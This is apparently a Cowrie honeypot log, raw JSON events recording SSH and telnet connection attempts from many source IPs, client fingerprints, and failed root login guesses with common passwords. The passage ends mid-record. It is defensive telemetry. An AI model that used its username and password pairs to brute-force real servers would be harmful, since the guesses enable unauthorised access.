{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":32800,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9332b9e9602","protocol":"ssh","message":"New connection: 38.253.239.21:32800 (159.203.135.109:22) [session: a9332b9e9602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:44.440753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:44.445567Z","src_ip":"38.253.239.21","session":"a9332b9e9602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:44.672976Z","src_ip":"38.253.239.21","session":"a9332b9e9602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"itsm123","message":"login attempt [root/itsm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:45.615918Z","src_ip":"38.253.239.21","session":"a9332b9e9602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:46.846493Z","src_ip":"38.253.239.21","session":"a9332b9e9602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.752107381820679,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:54.518496Z","src_ip":"176.36.241.12","session":"96aff21e980f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":37754,"dst_ip":"10.17.0.5","dst_port":22,"session":"416adf7dc1d4","protocol":"ssh","message":"New connection: 176.32.39.21:37754 (10.17.0.5:22) [session: 416adf7dc1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:54.607898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:54.612232Z","src_ip":"176.32.39.21","session":"416adf7dc1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:54.729666Z","src_ip":"176.32.39.21","session":"416adf7dc1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111q","message":"login attempt [root/1111111111q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:55.086123Z","src_ip":"176.32.39.21","session":"416adf7dc1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:56.206534Z","src_ip":"176.32.39.21","session":"416adf7dc1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.48044157028198,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:57.491304Z","src_ip":"186.195.16.41","session":"7339f9b17eb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60718,"dst_ip":"159.203.135.109","dst_port":22,"session":"b24545a72f79","protocol":"ssh","message":"New connection: 77.94.47.83:60718 (159.203.135.109:22) [session: b24545a72f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:02.146147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:02.150901Z","src_ip":"77.94.47.83","session":"b24545a72f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:02.274440Z","src_ip":"77.94.47.83","session":"b24545a72f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"032323","message":"login attempt [root/032323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:02.643908Z","src_ip":"77.94.47.83","session":"b24545a72f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:03.770150Z","src_ip":"77.94.47.83","session":"b24545a72f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":40910,"dst_ip":"159.203.135.109","dst_port":22,"session":"44990cf1ac39","protocol":"ssh","message":"New connection: 101.126.22.12:40910 (159.203.135.109:22) [session: 44990cf1ac39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:06.768982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:08.090042Z","src_ip":"101.126.22.12","session":"44990cf1ac39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:08.095061Z","src_ip":"101.126.22.12","session":"44990cf1ac39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:08.825505Z","src_ip":"46.19.67.181","session":"9a715f816c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":47842,"dst_ip":"159.203.135.109","dst_port":22,"session":"87be1d78511c","protocol":"ssh","message":"New connection: 43.156.237.246:47842 (159.203.135.109:22) [session: 87be1d78511c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:09.287645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:09.292674Z","src_ip":"43.156.237.246","session":"87be1d78511c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:09.542545Z","src_ip":"43.156.237.246","session":"87be1d78511c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret","message":"login attempt [root/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:10.555728Z","src_ip":"43.156.237.246","session":"87be1d78511c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:11.805240Z","src_ip":"43.156.237.246","session":"87be1d78511c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":46562,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f7bdcdece5","protocol":"ssh","message":"New connection: 108.167.177.203:46562 (159.203.135.109:22) [session: 50f7bdcdece5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:20.003378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:20.009569Z","src_ip":"108.167.177.203","session":"50f7bdcdece5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:20.035618Z","src_ip":"108.167.177.203","session":"50f7bdcdece5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdabcd","message":"login attempt [root/abcdabcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:20.170655Z","src_ip":"108.167.177.203","session":"50f7bdcdece5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:21.200221Z","src_ip":"108.167.177.203","session":"50f7bdcdece5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":45946,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5a2e3565db","protocol":"ssh","message":"New connection: 207.154.230.149:45946 (159.203.135.109:22) [session: fe5a2e3565db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:26.864338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:26.869634Z","src_ip":"207.154.230.149","session":"fe5a2e3565db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:26.956272Z","src_ip":"207.154.230.149","session":"fe5a2e3565db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"resin","message":"login attempt [root/resin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:27.314348Z","src_ip":"207.154.230.149","session":"fe5a2e3565db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":49788,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6238f2715ed","protocol":"ssh","message":"New connection: 115.178.75.242:49788 (159.203.135.109:22) [session: e6238f2715ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:28.087831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:28.092741Z","src_ip":"115.178.75.242","session":"e6238f2715ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:28.276616Z","src_ip":"115.178.75.242","session":"e6238f2715ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:28.399692Z","src_ip":"207.154.230.149","session":"fe5a2e3565db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:28.433767Z","src_ip":"101.126.22.12","session":"8109147d9637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:29.044953Z","src_ip":"115.178.75.242","session":"e6238f2715ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":47746,"dst_ip":"159.203.135.109","dst_port":22,"session":"11805591b67a","protocol":"ssh","message":"New connection: 163.227.230.54:47746 (159.203.135.109:22) [session: 11805591b67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:29.882203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:29.886870Z","src_ip":"163.227.230.54","session":"11805591b67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-